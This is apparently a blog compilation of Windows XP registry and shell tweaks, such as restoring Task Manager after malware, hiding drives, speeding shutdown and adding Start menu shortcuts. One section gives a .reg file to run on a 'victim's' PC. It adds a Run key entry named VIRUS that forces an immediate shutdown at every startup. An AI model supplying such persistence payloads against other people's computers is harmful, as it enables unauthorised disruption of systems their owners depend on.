Restore Taskmanager, Regedit, Folder Options disabled by virus

Let's face it. All of us have been infected by virus before. Even if you have anti-virus installed, you can still be infected by a new or custom virus that is not recognized by your anti-virus. Sometimes after removing the virus completely from our system, you'll face new problems such as you can no longer bring up Windows Task Manager from CTRL+ALT+DEL. You get the error message saying "Task Manager has been disabled by your administrator".
Task Manager has been disabled by your administrator

You think that it's easy to fix this problem by going to Registry Editor but you can't! You get the error message "Registry editing has been disabled by your administrator".
Registry editing has been disabled by your administrator

Folder Options and even Show Hidden Files & Folder is disabled! How frustrating! Don't worry, here's how to restore your Windows Task Manager, Registry Editor, Folder Options and Show hidden files & folders.

This problem is most commonly caused by a virus called "Brontok". Brontok virus will make some changes to the system restrictions in order to hide itself from easy detection and also from easy cleaning.

Here's a free tool called Remove Restrictions Tool (RRT) which is able to re-enables all what the virus had previously disabled, and gives you back the control over your own computer.
Restore windows restrictions

Remove Restrictions Tool is able to re-enable:
- Registry Tools (regedit)
- Ctrl+Alt+Del
- Folder Options
- Show Hidden Files

Small and easy to use. Make sure you boot in to Safe Mode to use Remove Restrictions Tool (RRT). Just click on the buttons and it'll do it's job.

Download Remove Restrictions Tool (RRT)

How to disable your (C:, D:, E: ) drives in My Computer

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.

1.Go to start->run.Type regedit.Now go to:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Now in the right pane create a new DWORD item and name it NoDrives(it is case sensitive). Now modify it's value and set it to 3FFFFFF (Hexadecimal) .Now restart your computer. So, now when you click on My Computer, no drives will be shown(all gone...). To enable display of drives in My Computer, simply delete this DWORD item that you created.Again restart your computer.You can now see all the drives again.

Show Wallpaper right from logon

To display wallpaper during the logon itself, navigate to the following registry key :

HKEY_USERS\.DEFAULT\Control Panel\Desktop.

In the right pane, change the path to Wallpaper. It will be useful if you are looking for ways to display your company logo during all user log in sessions.

Source: Computer Tricks

Increase Windows XP Shutdown Speed

Windows XP stores a couple of values in its registry which are responsible for determining how long to wait before shutting down (killing) open applications and services once the shutdown command has been given.

By editing these two settings and changing them to lower values, you can considerably decrease the amount of time that Windows XP needs to successfully shut itself down. The first part of this tweak deals with setting the amount of time Windows will take to kill open applications on shutdown.

Open REGEDIT and navigate to 'HKEY_CURRENT_USER\Control Panel\Desktop\'
Highlight the 'WaitToKillAppTimeout' value.
Set it to '1000' (the default should be 20000).
Now highlight the 'HungAppTimeout' value
Set it to '1000' also.

Increase Folder Cache

The default setting for WindowsXP is to cache the Explorer settings for 400 folders.
To increase it:

1. Start Regedit
2. Go to HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam
3. Change the vaule of BagMRU to whatever size you want (hex)

1000 - 3e8
2000 - 7d0
3000 - bb8
4000 - fa0
5000 - 1388

Disable Right Click on Start Menu

DISABLING THE RIGHT CLICK ON START MENU
Normally, when you right button click on the Start button, it allows you to open your programs folder, the Explorer and run Find.
In situations where you don't want to allow users to be able to do this in order to secure your computer.
1.Open RegEdit
2.Search for Desktop
3.This should bring you to HKEY_CLASSES_ROOT\Directory
4.Expand this section
5.Under Shell is Find
6.Delete Find
7.Move down a little in the Registry to Folder
8.Expand this section and remove Explore and Open
Now when you right click on the Start button, nothing should happen.
You can delete only those items that you need.
Note: - On Microsoft keyboards, this also disables the Window-E (for Explorer) and Window-F
(for Find) keys.

Disable My Computer

In areas where you are trying to restrict what users can do on the computer, it might be beneficial to disable the ability to click on My Computer and have access to the drives, control panel etc.
To disable this:
1.Open RegEdit
2.Search for 20D04FE0-3AEA-1069-A2D8-08002B30309D
3.This should bring you to the HKEY_CLASSES_ROOT\CLSID section
4.Delete the entire section.
Now when you click on My Computer, nothing will happen.
You might want to export this section to a Registry file before deleting it just in case you want to enable it again. Or you can rename it to 20D0HideMyComputer4FE0-3AEA-1069-A2D8-08002B30309D. You can also hide all the Desktop Icons, see Change/Add restrictions.

Change Windows Icon

You can change the Icons Windows uses for folders, the Start Menu, opened and closed folder in the Explorer, and many more.

1. Open RegEdit
2. Go to
HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Icons
3. Add a string value for each Icon you wish to change.
Example: "3" ="C:\Windows\Icons\MyIcon.ico,0" This will change the closed folders in the Explorer to "MyIcon.ico". Here is a complete list for each value.

0= Unknown file type
1= MSN file types
2= Applications Generic
3= Closed Folder
4= Open Folder
5= 5.25" Drive
6= 3.25" Drive
7= Removable Drive
8= Hard Drive
9= NetWork Drive
10= Network Drive Offline
11= CD-ROM Drive
12= RAM Drive
13= Entire Network 14= Network Hub
15= My Computer
16= Printer
17= Network Neighborhood
18= Network Workgroup
19= Start Menu's Program Folders
20= Start Menu's Documents
21= Start Menu's Setting
22= Start Menu's Find
23= Start Menu's Help
24= Start Menu's Run
25= Start Menu's Suspend
26= Start Menu's PC Undock
27= Start Menu's Shutdown 28= Shared
29= Shortcut Arrow
30= (Unknown Overlay)
31= Recycle Bin Empty
32= Recycle Bin Full
33= Dial-up Network
34= DeskTop
35= Control Panel
36= Start Menu's Programs
37= Printer Folder
38= Fonts Folder
39= Taskbar Icon
40= Audio CD

Block a website in your computer

Need to block a website over your computer? Well, you dont need to download a website blocker for your PC.

You can do it by an inbuilt function in your Windows. Lets see how to block a website in few steps.

1. Browse to C:\windows\system32\drivers\etc
2. Now, open hosts in Notepad.
3. After 127.0.0.1, press enter and write this:

127.0.0.2 www.xyz.com localhost

4. Now, save the file.
5. Reboot your PC.
Now try opening the blocked website. It will not open.

Shut Down your friends' computer each time it starts

Disclaimer: This is a pretty dangerous post. Neither the author nor this blog is responsible for anything that happens to your computer due to this.

Put this following text in a .reg file and run it in the victims pc:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"



Don't put it in your computer if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run. navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.

Delete Special Folders

Don't you just hate those stubborn stupid icons that refuse to leave the desktop, like the Recycle Bin icon. I am sure you want to know how you can delete them. You may say, that is really simple, simply right click on the concerned icon and select Delete. Well not exactly, you see when you right click on these special folders( see entire list below)neither the rename nor the delete option does not appear. To delete these folders, there are two methods, the first one is using the System Policy Editor(Poledit in the Windows installation CD)and the second is using the Registry.

Before we go on, you need to understand what CLSID values are. These folders, like the Control Panel, Inbox, The Microsoft Network, Dial Up Networking etc are system folders. Each system folder has a unique CLSID key or the Class ID which is a 16-byte value which identifies an individual object that points to a corresponding key in the registry.

To delete these system Folders from the desktop simply go to the following registry key:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\Namespace{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

To delete an icon simply delete the 16 byte CLSID value within "NameSpace". The following are the CLSID values of the most commonly used icons:

My Briefcase:{85BBD920-42AO-1069-A2E4-08002B30309D}
Desktop: {00021400-0000-0000-C000-0000000000046}
Control Panel:{21EC2020-3AEA-1069-A2DD-08002B30309D}
Dial-Up-Networking:{992CFFA0-F557-101A-88EC-00DD01CCC48}
Fonts: {BD84B380-8CA2-1069-AB1D-08000948534}
Inbox :{00020D76-0000-0000-C000-000000000046}
My Computer :{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Network Neighborhood:{208D2C60-3AEA-1069-A2D7-O8002B30309D}
Printers :{2227A280-3AEA-1069-A2DE-O8002B30309D}
Recycle Bin :{645FF040-5081-101B-9F08-00AA002F954E}
The Microsoft Network:{00028B00-0000-0000-C000-000000000046}
History: {FF393560-C2A7-11CF-BFF4-444553540000}
Winzip :{E0D79300-84BE-11CE-9641-444553540000}

For example, to delete the Recycle Bin, first note down it's CLSID value, which is: 645FF040-5081-101B-9F08-00AA002F954E. Now go to the Namespace key in the registry and delete the corresponding key.

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}

Secure your Desktop Icons and Settings

You can save your desktop settings and secure it from your nerdy friend by playing with the registry. Simply launch the Registry Editor go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer


In the right pane create a new DWORD Value named NoSaveSettings and modify it's value to 1. Refresh and restart for the settings to get saved.

Use Microsoft Calculator As Web Browser

1. Open your MS Calculator. This is normally found in Start => All Programs => Accessories => Calculator.

2. Open the help-window by pressing the F1 key.

3. Click the top-left corner icon of the help window once (Icon with a Question mark).

4. Select Go to URL-address.

5. Type your address into the avaliable field, but remember to type http://, and not just www. (or equivalent).

6. Have fun!

Warning: Do not close the Calculator as the help windows(your new browser) will also close.

Speed up WIndows XP

XP Pro runs a lot of services by default that are pointless if your not on a corporate network, the following services are ones that I safely disable thereby freeing up memory but check what each one does first to make sure your not using it for something:

Go to Run and type services.msc, right click on each service, properties and choose disable.

Alerter
Application Layer Gateway Service,
Application Management
Automatic Updates
Background Intelligent Transfer
Clipbook
Distributed Link Tracking Client
Distributed Transaction Coordinater
Error Reporting Service
Fast User Switching Compatibility
IMAPI CD-Burning
Indexing Service
IPSEC Services
Messenger
Net Logon
Net Meeting
Remote Desktop Sharing
Network DDE
Network DDE DSDM
Portable Media Serial Number
Remote Desktop Help Session Manager
Remote Registry
Secondary Logon
Smartcard
SSDP Discovery Service
Telnet Themes
Uninterruptible Power Supply
Universal Plug and Play Device Host
Upload Manager
Webclient
Wireless Zero Configuration
WMI Performance Adaptor

Add "Reboot into Safe Mode" into Safe Mode

1. First open the notepad and copy following matter and name this file "Reboot Computer Into
Safe Mode.bat" without quotes,save this file to any (your's choice) location.



-----------------------------------------------------------------------------------------------------------------------------
@Echo Off

:: StartInSafeMode.bat - by [piyush]
:: Sets Windows XP to boot in Safe Mode / Normal Mode

Echo.

Find "default=" C:\boot.ini > default
For /f "skip=2 tokens=2,3* delims== " %%i IN (default) DO @set default=%%i
For /F "tokens=5,6* skip=4 delims=: " %%i IN (C:\boot.ini) DO @set mode=%%k

If "%mode%" == "/safeboot:minimal" (
Echo Safe mode detected.
Goto setnormalmode
) Else (
Echo Normal mode detected.
Goto setsafemode
)
Goto end

:setsafemode
attrib C:\boot.ini -s -r -h
echo> C:\boot.ini [boot loader]
echo>> C:\boot.ini timeout=30
echo>> C:\boot.ini default=%default%
echo>> C:\boot.ini [operating systems]
echo>> C:\boot.ini %default%="Windows XP Safe Mode" /noexecute=alwaysoff /fastdetect /safeboot:minimal
Echo. Your PC is now set to start in Safe Mode.
attrib C:\boot.ini +h +r +s
Goto end

:setnormalmode
attrib C:\boot.ini -s -r -h
echo> C:\boot.ini [boot loader]
echo>> C:\boot.ini timeout=30
echo>> C:\boot.ini default=%default%
echo>> C:\boot.ini [operating systems]
echo>> C:\boot.ini %default%="Microsoft Windows XP Professional" /noexecute=alwaysoff /fastdetect
Echo. Your PC is now set to start normally.
attrib C:\boot.ini +h +r +s
Goto end

:end
Del default
Set mode=
Set default=

Echo.
Echo. Press [X] to close this window.
Pause > nul

Shutdown -r
Exit
-----------------------------------------------------------------------------------------------------------------------------

2. Now suppose your windows xp is located in 'C' drive, then go to C:\Documents and Settings\All Users\Start Menu ,here right click in the empty place & select New >Shortcut, then browse to 'Reboot Computer Into Safe Mode.bat' file (saved in 1 step) then click next here you may give shortcut name as 'Reboot Computer Into Safe Mode' or of your choice.
(YOU MAY DRAG & DROP 'Reboot Computer Into Safe Mode.bat' FILE IF YOU WISH.)

3. Now click start then click just created shortcut, 'Reboot Computer Into Safe Mode', Click 'X' TO reboot into safe mode. That's all! For booting into Normal mode again click start & then 'Reboot Computer Into Safe Mode',Click 'X',now your computer will once again reboot to Normal mode.

Did you notice the space below Run in Start Menu?

The following tutorial gives you the way to use that free space for your own shortcut, e.g., u can create a shortcut for Windows Media Player in that free space.

Simply post the following code in Notepad and save it as any file name but make sure that the extension must be".REG".



CODE:



Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@="Windows Media Player"
"InfoTip"="Windows Media Player 11"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]
@="%SystemRoot%\\system32\\SHELL32.dll,168"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\InProcServer32]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00 ,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00 ,32,00,5c,00,73,00,68,00,\
64,00,6f,00,63,00,76,00,77,00,2e,00,64,00,6c,00,6c ,00,00,00
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance]
"CLSID"="{3f454f0e-42ae-4d7c-8ea3-328250d6e272}"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag]
"CLSID"="{13709620-C279-11CE-A49E-444553540000}"
"method"="ShellExecute"
"Command"="Windows Media Player"
"Param1"="%ProgramFiles%\\Windows Media Player\\wmplayer.exe"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex]

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers]

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers\{2559a1f 6-21d7-11d4-bdaf-00c04f60b9f0}]
@=""

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\MayChangeDefaultMenu]
@=""

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\ShellFolder]
"Attributes"=dword:00000000




Now run this file and it'll ask your confirmation, say YES and then OK. Now you will see a new entry for Windows Media Player under the RUN menu item. (U may required to log off for make the changes)

In the above tutorial the things, which I have posted in BOLD may be changed for other shortcuts. Like u can change the name to some other if u want!
The "Default Icon" is the path of the icon file, which u want to display in the Start menu shortcut. (NOTE: Double slashes r compulsory).
Similarly, the "Param1" in "Instance\InitPropertyBag" is the path of the executable file, to which u want to create the shortcut. (Here also the Double slashes r compulsory!).

Change title of Internet Explorer

You can change the default "Microsoft Internet Explorer" on the title bar to anything you wish. Do the following

1. Open Registry Editor

2. Move to the following key.

3. HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main.

4. In the Right Panel look for the string "Window Title" and change its value as u wish. If the String value is not there create a New String value and assign the value as your wish.

Automatically Close any non-responsive programs

With a small registry tweak, Windows XP can be set to automatically close any program that 'stops responding' (crashes), eliminating the need for you to use the task manager to close down the offending software manually.

To do this:

1. Go to Run and type 'regedit' (without quotes) and press enter.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop

Modify the REG_SZ entry AutoEndTasks with a value of 1

Lock your Computer

Creating a desktop shortcut for locking your computer

If you use your computer in an area where others may have access to it, and there are things on your system you would rather have kept confidential, locking your desktop when you leave the computer is an essential task. Here's a recipe for a desktop shortcut that will lock your computer in two easy clicks:

Right click on an empty area of the desktop and choose 'new' then 'shortcut.' The create shortcut wizard will open; in the first text box, type '%windir%\System32\rundll32.exe user32.dll,LockWorkStation' and then give your shortcut an appropriate name on the next page, and hit 'finish.'

You will notice that the shortcut you created has a blank icon. To select a more appropriate one, right click on the shortcut and hit 'properties.' In the 'shortcut' tab, click the 'change icon' button.

In the 'look for icons in this file' box, type '%SystemRoot%\system32\SHELL32.dll' then click 'ok' to see a range of icons for your new shortcut. Choose an appropriate icon. Your desktop locking shortcut is now ready for use. Test it out.

Make your computer shutdown at a desired time

1. Right click on your desktop and choose "New=>shortcuts".
2. In the box that says "Type the location of the shortcut",
type in "shutdown -s -t 3600" without the quotation marks and click next. Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.
3. Make up a name for the shortcut and you're done.
You can change the icon by right clicking=>properities=>change icon=>browse

TO ABORT:
To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.


********* METHOD # 2 **************


Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in

start=>Run

Type Code: at 11:35 shutdown -s

TO ABORT:
Code:shutdown -a